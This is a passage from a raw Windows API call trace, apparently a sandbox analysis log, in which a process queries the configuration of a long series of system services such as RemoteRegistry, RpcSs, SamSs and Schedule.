lpUsedDefaultChar=0x0) returned 5 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x1e6fa38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qwave", lpUsedDefaultChar=0x0) returned 5 [0249.294] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="QWAVE", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.295] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.295] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.296] GetLastError () returned 0x7a [0249.296] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x1a8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fa80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x1e6fa80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasauto", lpUsedDefaultChar=0x0) returned 7 [0249.296] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RasAuto", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.297] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.297] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.298] GetLastError () returned 0x7a [0249.298] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x1e6fac8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasman", lpUsedDefaultChar=0x0) returned 6 [0249.298] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RasMan", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.299] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.299] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.300] GetLastError () returned 0x7a [0249.300] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x138, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fb10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x1e6fb10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteaccess", lpUsedDefaultChar=0x0) returned 12 [0249.300] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RemoteAccess", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.301] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.301] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.302] GetLastError () returned 0x7a [0249.302] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fb58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x1e6fb58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteregistry", lpUsedDefaultChar=0x0) returned 14 [0249.302] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RemoteRegistry", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.303] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.303] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.321] GetLastError () returned 0x7a [0249.321] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x11c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fba0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x1e6fba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpceptmapper", lpUsedDefaultChar=0x0) returned 12 [0249.322] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RpcEptMapper", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.322] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.323] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.323] GetLastError () returned 0x7a [0249.323] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fbe8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x1e6fbe8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpclocator", lpUsedDefaultChar=0x0) returned 10 [0249.324] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RpcLocator", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.324] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.325] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.325] GetLastError () returned 0x7a [0249.325] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x12a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x1e6fc30, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="locator.exe", lpUsedDefaultChar=0x0) returned 11 [0249.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x1e6fc30, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpcss", lpUsedDefaultChar=0x0) returned 5 [0249.326] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RpcSs", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.326] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.327] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.327] GetLastError () returned 0x7a [0249.327] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x17e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fc78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x1e6fc78, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="samss", lpUsedDefaultChar=0x0) returned 5 [0249.328] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SamSs", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.328] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.329] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.329] GetLastError () returned 0x7a [0249.329] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e6fcc0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0249.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x1e6fcc0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scardsvr", lpUsedDefaultChar=0x0) returned 8 [0249.330] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SCardSvr", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.330] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.330] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.331] GetLastError () returned 0x7a [0249.331] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fd08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, lpMultiByteStr=0x1e6fd08, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedule", lpUsedDefaultChar=0x0) returned 8 [0249.335] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Schedule", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.335] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.335] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.336] GetLastError () returned 0x7a [0249.336] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fd50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x1e6fd50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scpolicysvc", lpUsedDefaultChar=0x0) returned 11 [0249.336] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SCPolicySvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.337] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.337] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.338] GetLastError () returned 0x7a [0249.338] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x116, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fd98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x1e6fd98, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdrsvc", lpUsedDefaultChar=0x0) returned 6 [0249.338] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SDRSVC", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.339] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.339] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.340] GetLastError () returned 0x7a [0249.340] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0xfe, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fde0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x1e6fde0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="seclogon", lpUsedDefaultChar=0x0) returned 8 [0249.340] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="seclogon", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.341] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.341] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.342] GetLastError () returned 0x7a [0249.342] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0xf8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fe28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x1e6fe28, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sens", lpUsedDefaultChar=0x0) returned 4 [0249.342] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SENS", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.343] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.343] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.344] GetLastError () returned 0x7a [0249.344] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x14c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6fe70, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x1e6fe70, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensrsvc", lpUsedDefaultChar=0x0) returned 8 [0249.344] OpenServiceW 